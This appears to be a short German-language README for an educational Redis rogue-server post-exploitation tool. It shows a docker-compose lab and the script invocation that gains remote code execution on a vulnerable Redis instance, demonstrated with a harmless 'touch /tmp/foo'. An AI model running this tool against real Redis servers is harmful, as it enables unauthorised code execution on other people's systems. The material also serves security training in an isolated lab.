knqyf263/redis-post-exploitationLehrreiches Redis-Rogue-Server-Tool für Post-Exploitation. Stellt einen schädlichen Redis-Server bereit, um Remote Code Execution zu erreichen und beliebige Befehle auf verwundbaren Redis-Instanzen auszuführen.
Nur für Bildungszwecke
$ docker-compose build
$ docker-compose up -d
$ docker-compose exec rogue sh
/rogue/redis-rogue-server # python3 rogue3.py --rhost redis --rport 6379 --lhost rogue --lport 21000
...
[<<] touch /tmp/foo
$ docker-compose exec redis sh
/data # ls /tmp/
foo